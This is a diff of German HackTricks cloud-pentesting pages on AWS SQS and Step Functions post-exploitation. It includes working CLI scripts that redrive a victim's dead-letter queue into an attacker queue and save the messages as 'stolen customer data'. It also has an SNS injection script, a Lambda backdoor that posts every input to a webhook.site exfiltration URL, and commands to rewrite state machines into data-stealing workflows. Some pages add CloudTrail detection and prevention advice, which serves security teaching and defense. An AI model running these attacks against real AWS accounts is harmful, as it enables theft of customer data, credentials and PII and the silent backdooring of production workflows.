+Ein Angreifer könnte die Attribute einer SQS-Queue ändern, was möglicherweise deren Leistung, Sicherheit oder Verfügbarkeit beeinträchtigt.
+```bash
+aws sqs set-queue-attributes --queue-url <value> --attributes <value>
+```
+**Potentielle Auswirkungen**: Fehlkonfigurationen, die zu verschlechterter Leistung, Sicherheitsproblemen oder verringerter Verfügbarkeit führen.
+
+### `sqs:TagQueue` , `sqs:UntagQueue`
+
+An attacker könnte Tags von SQS-Ressourcen hinzufügen, ändern oder entfernen und so die Kostenallokation, Ressourcenverfolgung und auf Tags basierenden Zugriffskontrollrichtlinien Ihrer Organisation stören.
+```bash
+aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
+aws sqs untag-queue --queue-url <value> --tag-keys <key>
+```
+**Potentielle Auswirkungen**: Beeinträchtigung der Kostenallokation, der Ressourcenverfolgung und tag-basierter Zugriffskontrollrichtlinien.
+
+### `sqs:RemovePermission`
+
+Ein Angreifer könnte Berechtigungen für legitime Benutzer oder Dienste widerrufen, indem er Richtlinien entfernt, die mit der SQS-Queue verknüpft sind. Dies könnte zu Störungen im normalen Betrieb von Anwendungen führen, die auf die Queue angewiesen sind.
+```bash
+aws sqs remove-permission --queue-url <value> --label <value>
+```
+**Mögliche Auswirkungen**: Störung der normalen Funktionalität von Anwendungen, die auf die Queue angewiesen sind, durch unbefugtes Entfernen von Berechtigungen.
+
+### Weitere SQS Post-Exploitation Techniken
+
+{{#ref}}
+aws-sqs-dlq-redrive-exfiltration.md
+{{#endref}}
+
+{{#ref}}
+aws-sqs-sns-injection.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
new file mode 100644
index 000000000..b24215872
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
@@ -0,0 +1,154 @@
+# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Beschreibung
+
+Missbrauche SQS message move tasks, um alle angesammelten Nachrichten aus der Dead-Letter Queue (DLQ) eines Opfers zu stehlen, indem du sie mit `sqs:StartMessageMoveTask` auf eine vom Angreifer kontrollierte Queue umleitest. Diese Technik nutzt die legitime Wiederherstellungsfunktion von AWS für Nachrichten aus, um über die Zeit angesammelte sensible Daten in DLQs zu exfiltrieren.
+
+## Was ist eine Dead-Letter Queue (DLQ)?
+
+Eine Dead-Letter Queue ist eine spezielle SQS-Queue, in die Nachrichten automatisch verschoben werden, wenn sie vom Hauptanwendungsprozess nicht erfolgreich verarbeitet werden können. Diese fehlgeschlagenen Nachrichten enthalten oft:
+- Sensible Anwendungsdaten, die nicht verarbeitet werden konnten
+- Fehlermeldungen und Debug-Informationen
+- Persönlich identifizierbare Informationen (PII)
+- API-Tokens, Zugangsdaten oder andere Geheimnisse
+- Geschäftskritische Transaktionsdaten
+
+DLQs fungieren als "Friedhof" für fehlgeschlagene Nachrichten und sind daher wertvolle Ziele, da sie über die Zeit sensible Daten ansammeln, die Anwendungen nicht korrekt verarbeiten konnten.
+
+## Angriffszenario
+
+**Praxisbeispiel:**
+1. **E-Commerce-Anwendung** verarbeitet Kundenbestellungen über SQS
+2. **Einige Bestellungen schlagen fehl** (Zahlungsprobleme, Lagerbestand, etc.) und werden in eine DLQ verschoben
+3. **Die DLQ sammelt** Wochen/Monate an fehlgeschlagenen Bestellungen mit Kundendaten an: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
+4. **Angreifer erlangt Zugriff** auf AWS-Zugangsdaten mit SQS-Rechten
+5. **Angreifer entdeckt**, dass die DLQ Tausende fehlgeschlagener Bestellungen mit sensiblen Daten enthält
+6. **Anstatt zu versuchen, einzelne Nachrichten zu lesen** (langsam und auffällig), nutzt der Angreifer `StartMessageMoveTask`, um ALLE Nachrichten in seine eigene Queue zu übertragen
+7. **Angreifer extrahiert** alle historischen sensiblen Daten in einem Vorgang
+
+## Voraussetzungen
+- Die Quell-Queue muss als DLQ konfiguriert sein (von mindestens einer Queue in einer RedrivePolicy referenziert).
+- IAM-Berechtigungen (ausgeführt als kompromittierter Opfer-Principal):
+  - Auf der DLQ (Quelle): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
+  - Auf der Ziel-Queue: Berechtigung, Nachrichten zuzustellen (z. B. eine Queue-Policy, die `sqs:SendMessage` vom Opfer-Principal erlaubt). Bei Zielen im selben Account ist dies typischerweise standardmäßig erlaubt.
+- Wenn SSE-KMS aktiviert ist: auf dem Quell-CMK `kms:Decrypt` und auf dem Ziel-CMK `kms:GenerateDataKey`, `kms:Encrypt`.
+
+## Auswirkungen
+**Mögliche Auswirkungen**: Exfiltration sensibler Payloads, die sich in DLQs angesammelt haben (fehlgeschlagene Events, PII, Tokens, Anwendungs-Payloads) in hoher Geschwindigkeit mithilfe nativer SQS-APIs. Funktioniert auch kontoübergreifend, sofern die Ziel-Queue-Policy `SendMessage` vom Opfer-Principal erlaubt.
+
+## So wird es missbraucht
+
+- Identifiziere die ARN der DLQ des Opfers und stelle sicher, dass sie tatsächlich als DLQ von irgendeiner Queue referenziert wird (jede Queue ist ausreichend).
+- Erstelle oder wähle eine vom Angreifer kontrollierte Ziel-Queue und erhalte ihre ARN.
+- Starte eine message move task von der DLQ des Opfers zu deiner Ziel-Queue.
+- Überwache den Fortschritt oder breche ab, falls nötig.
+
+### CLI-Beispiel: Exfiltrieren von Kundendaten aus einer E-Commerce-DLQ
+
+**Szenario**: Ein Angreifer hat AWS-Zugangsdaten kompromittiert und entdeckt, dass eine E-Commerce-Anwendung SQS mit einer DLQ verwendet, die fehlgeschlagene Versuche der Auftragsverarbeitung enthält.
+
+1) **Die DLQ des Opfers entdecken und untersuchen**
+```bash
+# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
+aws sqs list-queues --queue-name-prefix dlq
+
+# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
+VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
+SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# Check how many messages are in the DLQ (potential treasure trove!)
+aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
+--attribute-names ApproximateNumberOfMessages
+# Output might show: "ApproximateNumberOfMessages": "1847"
+```
+2) **Erstelle attacker-controlled destination queue**
+```bash
+# Create our exfiltration queue
+ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
+ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+echo "Created exfiltration queue: $ATTACKER_Q_ARN"
+```
+3) **Führe den Massendiebstahl von Nachrichten aus**
+```bash
+# Start moving ALL messages from victim DLQ to our queue
+# This operation will transfer thousands of failed orders containing customer data
+echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
+TASK_RESPONSE=$(aws sqs start-message-move-task \
+--source-arn "$SRC_ARN" \
+--destination-arn "$ATTACKER_Q_ARN" \
+--max-number-of-messages-per-second 100)
+
+echo "Move task started: $TASK_RESPONSE"
+
+# Monitor the theft progress
+aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
+```
+4) **Sammle die gestohlenen sensiblen Daten**
+```bash
+# Receive the exfiltrated customer data
+echo "Receiving stolen customer data..."
+aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--attribute-names All --message-attribute-names All \
+--max-number-of-messages 10 --wait-time-seconds 5
+
+# Example of what an attacker might see:
+# {
+#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
+#   "MessageId": "12345-abcd-6789-efgh"
+# }
+
+# Continue receiving all messages in batches
+while true; do
+MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--max-number-of-messages 10 --wait-time-seconds 2 --output json)
+
+if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
+echo "No more messages - exfiltration complete!"
+break
+fi
+
+echo "Received batch of stolen data..."
+# Process/save the stolen customer data
+echo "$MESSAGES" >> stolen_customer_data.json
+done
+```
+### Cross-Account Hinweise
+- Die Ziel-Queue muss eine Resource Policy enthalten, die dem victim principal `sqs:SendMessage` erlaubt (und, falls verwendet, KMS Grants/Berechtigungen).
+
+## Warum dieser Angriff effektiv ist
+
+1. **Legitime AWS-Funktion**: Nutzt eingebaute AWS-Funktionalität, wodurch es schwierig ist, das Verhalten als bösartig zu erkennen
+2. **Massenoperation**: Überträgt schnell tausende Nachrichten statt langsamer Einzelzugriffe
+3. **Historische Daten**: DLQs speichern über Wochen/Monate sensible Daten
+4. **Unauffällig**: Viele Organisationen überwachen DLQ-Zugriffe nicht genau
+5. **Cross-Account-fähig**: Kann an das eigene AWS-Konto des Angreifers exfiltrieren, wenn Berechtigungen es zulassen
+
+## Erkennung und Prävention
+
+### Erkennung
+Überwache CloudTrail auf verdächtige `StartMessageMoveTask` API-Aufrufe:
+```json
+{
+"eventName": "StartMessageMoveTask",
+"sourceIPAddress": "suspicious-ip",
+"userIdentity": {
+"type": "IAMUser",
+"userName": "compromised-user"
+},
+"requestParameters": {
+"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
+"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
+}
+}
+```
+### Prävention
+1. **Prinzip der geringsten Privilegien**: Beschränke die Berechtigung `sqs:StartMessageMoveTask` auf nur die notwendigen Rollen
+2. **DLQs überwachen**: Richte CloudWatch-Alarme für ungewöhnliche DLQ-Aktivität ein
+3. **Kontoübergreifende Richtlinien**: Überprüfe sorgfältig SQS-Queue-Richtlinien, die kontoübergreifenden Zugriff erlauben
+4. **DLQs verschlüsseln**: Verwende SSE-KMS mit eingeschränkten Schlüsselrichtlinien
+5. **Regelmäßige Bereinigung**: Lasse sensible Daten nicht dauerhaft in DLQs ansammeln
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md
new file mode 100644
index 000000000..d7e68c95d
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md
@@ -0,0 +1,54 @@
+# AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Beschreibung
+
+Missbrauche eine Resource Policy einer SQS-Queue, um einem vom Angreifer kontrollierten SNS-Topic zu erlauben, Nachrichten in eine Ziel-SQS-Queue des Opfers zu publishen. Im selben Account bestätigt sich eine SQS-Subscription auf ein SNS-Topic automatisch; bei Cross-Account musst du das SubscriptionConfirmation-Token aus der Queue lesen und ConfirmSubscription aufrufen. Dadurch wird unaufgeforderte Message-Injektion möglich, der nachgelagerte Consumer möglicherweise implizit vertrauen.
+
+### Anforderungen
+- Fähigkeit, die Resource Policy der Ziel-SQS-Queue zu modifizieren: `sqs:SetQueueAttributes` auf der Opfer-Queue.
+- Fähigkeit, ein SNS-Topic unter Angreifer-Kontrolle zu erstellen/zu veröffentlichen: `sns:CreateTopic`, `sns:Publish`, und `sns:Subscribe` im Angreifer-Account/Topic.
+- Nur Cross-Account: temporäres `sqs:ReceiveMessage` auf der Opfer-Queue, um das Bestätigungs-Token zu lesen und `sns:ConfirmSubscription` aufzurufen.
+
+### Ausnutzung im selben Account
+```bash
+REGION=us-east-1
+# 1) Create victim queue and capture URL/ARN
+Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text)
+Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# 2) Create attacker SNS topic
+TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text)
+
+# 3) Allow that SNS topic to publish to the queue (queue resource policy)
+cat > /tmp/ht-sqs-sns-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSTopicPublish","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"REPLACE_QUEUE_ARN","Condition":{"StringEquals":{"aws:SourceArn":"REPLACE_TOPIC_ARN"}}}]}
+JSON
+sed -i.bak "s#REPLACE_QUEUE_ARN#$Q_ARN#g; s#REPLACE_TOPIC_ARN#$TOPIC_ARN#g" /tmp/ht-sqs-sns-policy.json
+# Provide the attribute as a JSON map so quoting works reliably
+cat > /tmp/ht-attrs.json <<JSON
+{
+"Policy": "REPLACE_POLICY_JSON"
+}
+JSON
+# Embed the policy file contents as a JSON string
+POL_ESC=$(jq -Rs . /tmp/ht-sqs-sns-policy.json)
+sed -i.bak "s#\"REPLACE_POLICY_JSON\"#$POL_ESC#g" /tmp/ht-attrs.json
+aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes file:///tmp/ht-attrs.json
+
+# 4) Subscribe the queue to the topic (auto-confirms same-account)
+aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --region $REGION
+
+# 5) Publish and verify injection
+aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
+aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
+```
+### Cross-Account-Hinweise
+- Die obenstehende Queue-Policy muss das fremde `TOPIC_ARN` (attacker account) zulassen.
+- Subscriptions bestätigen sich nicht automatisch. Gewähre dir vorübergehend `sqs:ReceiveMessage` auf der victim queue, um die `SubscriptionConfirmation`-Nachricht zu lesen, und rufe dann `sns confirm-subscription` mit ihrem `Token` auf.
+
+### Auswirkungen
+**Potenzielle Auswirkungen**: Kontinuierliche unaufgeforderte Nachrichteninjektion in eine vertrauenswürdige SQS queue über SNS, die möglicherweise unbeabsichtigte Verarbeitung, Datenverschmutzung oder Missbrauch von Workflows auslöst.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md
similarity index 85%
rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md
index 1165a5ecc..45c733285 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md
@@ -1,13 +1,13 @@
 # AWS - SSO & identitystore Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## SSO & identitystore
 
 Für weitere Informationen siehe:
 
 {{#ref}}
-../aws-services/aws-iam-enum.md
+../../aws-services/aws-iam-enum.md
 {{#endref}}
 
 ### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment`
@@ -20,4 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn <SSOInst
 
 aws sso-admin delete-account-assignment --instance-arn <SSOInstanceARN> --target-id <TargetID> --target-type <TargetType> --permission-set-arn <PermissionSetARN> --principal-type <PrincipalType> --principal-id <PrincipalID>
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
deleted file mode 100644
index aff347fff..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
+++ /dev/null
@@ -1,185 +0,0 @@
-# AWS - Step Functions Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Step Functions
-
-Für weitere Informationen zu diesem AWS-Dienst, siehe:
-
-{{#ref}}
-../aws-services/aws-stepfunctions-enum.md
-{{#endref}}
-
-### `states:RevealSecrets`
-
-Diese Berechtigung ermöglicht es, **geheime Daten innerhalb einer Ausführung offenzulegen**. Dazu muss das Inspektionsniveau auf TRACE und der Parameter revealSecrets auf true gesetzt werden.
-
-<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
-
-### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
-
-Ein Angreifer mit diesen Berechtigungen könnte in der Lage sein, Zustandsmaschinen, deren Versionen und Aliase dauerhaft zu löschen. Dies kann kritische Arbeitsabläufe stören, zu Datenverlust führen und erhebliche Zeit für die Wiederherstellung und Wiederherstellung der betroffenen Zustandsmaschinen erfordern. Darüber hinaus würde es einem Angreifer ermöglichen, die verwendeten Spuren zu verwischen, forensische Untersuchungen zu stören und möglicherweise den Betrieb zu lähmen, indem wesentliche Automatisierungsprozesse und Zustandskonfigurationen entfernt werden.
-
-> [!NOTE]
->
-> - Wenn Sie eine Zustandsmaschine löschen, löschen Sie auch alle zugehörigen Versionen und Aliase.
-> - Wenn Sie einen Alias einer Zustandsmaschine löschen, löschen Sie nicht die Versionen der Zustandsmaschine, die auf diesen Alias verweisen.
-> - Es ist nicht möglich, eine Version einer Zustandsmaschine zu löschen, die derzeit von einem oder mehreren Aliasen referenziert wird.
-```bash
-# Delete state machine
-aws stepfunctions delete-state-machine --state-machine-arn <value>
-# Delete state machine version
-aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
-# Delete state machine alias
-aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
-```
-- **Potenzielle Auswirkungen**: Störung kritischer Arbeitsabläufe, Datenverlust und Betriebsunterbrechungen.
-
-### `states:UpdateMapRun`
-
-Ein Angreifer mit dieser Berechtigung könnte die Konfiguration für das Scheitern von Map Runs und die parallele Einstellung manipulieren, indem er die maximale Anzahl der zulässigen Ausführungen von untergeordneten Arbeitsabläufen erhöhen oder verringern kann, was sich direkt auf die Leistung des Dienstes auswirkt. Darüber hinaus könnte ein Angreifer den tolerierten Prozentsatz und die Anzahl der Fehler manipulieren und diesen Wert auf 0 verringern, sodass jedes Mal, wenn ein Element fehlschlägt, der gesamte Map Run fehlschlägt, was sich direkt auf die Ausführung der Zustandsmaschine auswirkt und potenziell kritische Arbeitsabläufe stört.
-```bash
-aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
-```
-- **Potenzielle Auswirkungen**: Leistungsabfall und Störung kritischer Arbeitsabläufe.
-
-### `states:StopExecution`
-
-Ein Angreifer mit dieser Berechtigung könnte in der Lage sein, die Ausführung einer beliebigen Zustandsmaschine zu stoppen, was laufende Arbeitsabläufe und Prozesse stören würde. Dies könnte zu unvollständigen Transaktionen, gestoppten Geschäftsabläufen und potenzieller Datenkorruption führen.
-
-> [!WARNING]
-> Diese Aktion wird von **express state machines** nicht unterstützt.
-```bash
-aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
-```
-- **Potenzielle Auswirkungen**: Störung laufender Arbeitsabläufe, betriebliche Ausfallzeiten und potenzielle Datenkorruption.
-
-### `states:TagResource`, `states:UntagResource`
-
-Ein Angreifer könnte Tags von Step Functions-Ressourcen hinzufügen, ändern oder entfernen, wodurch die Kostenallokation, die Ressourcenverfolgung und die Zugriffskontrollrichtlinien Ihrer Organisation, die auf Tags basieren, gestört werden.
-```bash
-aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
-aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
-```
-**Potenzielle Auswirkungen**: Störung der Kostenallokation, Ressourcenverfolgung und tagbasierter Zugriffskontrollrichtlinien.
-
----
-
-### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
-
-Ein Angreifer, der einen Benutzer oder eine Rolle mit den folgenden Berechtigungen kompromittiert:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Sid": "AllowUpdateStateMachine",
-"Effect": "Allow",
-"Action": "states:UpdateStateMachine",
-"Resource": "*"
-},
-{
-"Sid": "AllowUpdateFunctionCode",
-"Effect": "Allow",
-"Action": "lambda:UpdateFunctionCode",
-"Resource": "*"
-}
-]
-}
-```
-...kann einen **hochwirksamen und stealthy Post-Exploitation-Angriff** durchführen, indem er Lambda-Backdooring mit der Manipulation der Step Function-Logik kombiniert.
-
-Dieses Szenario geht davon aus, dass das Opfer **AWS Step Functions verwendet, um Workflows zu orchestrieren, die sensible Eingaben verarbeiten**, wie z.B. Anmeldeinformationen, Tokens oder PII.
-
-Beispiel für einen Opferaufruf:
-```bash
-aws stepfunctions start-execution \
---state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
---input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
-```
-Wenn die Step Function so konfiguriert ist, dass sie eine Lambda wie `LegitBusinessLogic` aufruft, kann der Angreifer mit **zwei heimlichen Angriffsvarianten** fortfahren:
-
----
-
-####  Aktualisierte die Lambda-Funktion
-
-Der Angreifer ändert den Code der bereits von der Step Function verwendeten Lambda-Funktion (`LegitBusinessLogic`), um Eingabedaten heimlich zu exfiltrieren.
-```python
-# send_to_attacker.py
-import requests
-
-def lambda_handler(event, context):
-requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
-return {"status": "exfiltrated"}
-```
-
-```bash
-zip function.zip send_to_attacker.py
-
-aws lambda update-function-code \
---function-name LegitBusinessLogic \
---zip-file fileb://function.zip -profile attacker
-```
----
-
-#### Fügen Sie einen bösartigen Zustand zur Step Function hinzu
-
-Alternativ kann der Angreifer einen **exfiltration state** zu Beginn des Workflows injizieren, indem er die Definition der Step Function aktualisiert.
-```malicious_state_definition.json
-{
-"Comment": "Backdoored for Exfiltration",
-"StartAt": "OriginalState",
-"States": {
-"OriginalState": {
-"Type": "Task",
-"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
-"End": true
-}
-}
-}
-
-```
-
-```bash
-aws stepfunctions update-state-machine \
---state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
---definition file://malicious_state_definition.json --profile attacker
-```
-Der Angreifer kann noch stealthier die Zustandsdefinition auf etwas wie das hier aktualisieren:
-{
-"Comment": "Backdoored for Exfiltration",
-"StartAt": "ExfiltrateSecrets",
-"States": {
-"ExfiltrateSecrets": {
-"Type": "Task",
-"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
-"InputPath": "$",
-"ResultPath": "$.exfil",
-"Next": "OriginalState"
-},
-"OriginalState": {
-"Type": "Task",
-"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
-"End": true
-}
-}
-}
-wo das Opfer den Unterschied nicht bemerkt
-
----
-
-### Opfer Setup (Kontext für den Exploit)
-
-- Eine Step Function (`LegitStateMachine`) wird verwendet, um sensible Benutzereingaben zu verarbeiten.
-- Sie ruft eine oder mehrere Lambda-Funktionen wie `LegitBusinessLogic` auf.
-
----
-
-**Potenzielle Auswirkungen**:
-- Stille Exfiltration sensibler Daten, einschließlich Geheimnisse, Anmeldeinformationen, API-Schlüssel und PII.
-- Keine sichtbaren Fehler oder Ausfälle bei der Ausführung des Workflows.
-- Schwer zu erkennen, ohne den Lambda-Code oder Ausführungsprotokolle zu überprüfen.
-- Ermöglicht langfristige Persistenz, wenn die Hintertür im Code oder in der ASL-Logik bleibt.
-
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md
new file mode 100644
index 000000000..97de560a6
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md
@@ -0,0 +1,185 @@
+# AWS - Step Functions Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Step Functions
+
+Für weitere Informationen zu diesem AWS-Service siehe:
+
+{{#ref}}
+../../aws-services/aws-stepfunctions-enum.md
+{{#endref}}
+
+### `states:RevealSecrets`
+
+Diese Berechtigung ermöglicht das **Offenlegen geheimer Daten innerhalb einer Ausführung**. Dafür muss die Inspektionsstufe auf TRACE gesetzt und der revealSecrets-Parameter auf true gesetzt werden.
+
+<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
+
+### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
+
+Ein Angreifer mit diesen Berechtigungen könnte state machines, deren versions und aliases dauerhaft löschen. Dies kann kritische Workflows unterbrechen, zu Datenverlust führen und erheblichen Aufwand erfordern, um die betroffenen state machines wiederherzustellen. Zusätzlich würde es einem Angreifer ermöglichen, verwendete Spuren zu verwischen, forensische Untersuchungen zu stören und durch Entfernen wichtiger Automatisierungsprozesse und State-Konfigurationen den Betrieb erheblich zu beeinträchtigen.
+
+> [!NOTE]
+>
+> - Beim Löschen einer state machine löschen Sie außerdem alle damit verbundenen versions und aliases.
+> - Beim Löschen eines state machine alias löschen Sie nicht die state machine versions, die auf diesen alias verweisen.
+> - Es ist nicht möglich, eine state machine version zu löschen, die derzeit von einem oder mehreren aliases referenziert wird.
+```bash
+# Delete state machine
+aws stepfunctions delete-state-machine --state-machine-arn <value>
+# Delete state machine version
+aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
+# Delete state machine alias
+aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
+```
+- **Potential Impact**: Unterbrechung kritischer Workflows, Datenverlust und Betriebsstillstand.
+
+### `states:UpdateMapRun`
+
+Ein Angreifer mit dieser Berechtigung könnte die Map Run-Fehlerkonfiguration und die Parallel-Einstellung manipulieren und dadurch die maximal zulässige Anzahl von Child-Workflow-Ausführungen erhöhen oder verringern, was die Leistung des Dienstes direkt beeinträchtigt. Außerdem könnte ein Angreifer den tolerierten Fehlerprozentsatz und die Fehleranzahl verändern und diesen Wert auf 0 setzen, sodass bei jedem Fehler eines Elements der gesamte Map Run fehlschlägt — dies beeinflusst direkt die Ausführung der State Machine und kann kritische Workflows stören.
+```bash
+aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
+```
+- **Potentielle Auswirkungen**: Leistungsbeeinträchtigung und Unterbrechung kritischer Workflows.
+
+### `states:StopExecution`
+
+Ein Angreifer mit dieser Berechtigung könnte in der Lage sein, die Ausführung jeder State Machine zu stoppen und damit laufende Workflows und Prozesse zu unterbrechen. Dies kann zu unvollständigen Transaktionen, angehaltenen Geschäftsabläufen und möglicher Datenkorruption führen.
+
+> [!WARNING]
+> Diese Aktion wird von **express state machines** nicht unterstützt.
+```bash
+aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
+```
+- **Potentielle Auswirkungen**: Unterbrechung laufender Workflows, betriebliche Ausfallzeiten und mögliche Datenkorruption.
+
+### `states:TagResource`, `states:UntagResource`
+
+Ein Angreifer könnte Tags von Step Functions-Ressourcen hinzufügen, ändern oder entfernen und dadurch die Kostenaufteilung, die Ressourcenverfolgung und auf Tags basierende Zugriffssteuerungsrichtlinien Ihrer Organisation stören.
+```bash
+aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
+aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
+```
+**Potenzielle Auswirkungen**: Störung der Kostenallokation, der Ressourcenverfolgung und von auf Tags basierenden Zugriffskontrollrichtlinien.
+
+---
+
+### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
+
+Ein Angreifer, der einen Benutzer oder eine Rolle mit den folgenden Berechtigungen kompromittiert:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowUpdateStateMachine",
+"Effect": "Allow",
+"Action": "states:UpdateStateMachine",
+"Resource": "*"
+},
+{
+"Sid": "AllowUpdateFunctionCode",
+"Effect": "Allow",
+"Action": "lambda:UpdateFunctionCode",
+"Resource": "*"
+}
+]
+}
+```
+...kann einen **high-impact and stealthy post-exploitation attack** durchführen, indem man Lambda backdooring mit Step Function logic manipulation kombiniert.
+
+Dieses Szenario geht davon aus, dass das Opfer **AWS Step Functions zur Orchestrierung von Workflows verwendet, die sensible Eingaben verarbeiten**, wie z. B. credentials, tokens oder PII.
+
+Beispiel: Aufruf des Opfers:
+```bash
+aws stepfunctions start-execution \
+--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
+--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
+```
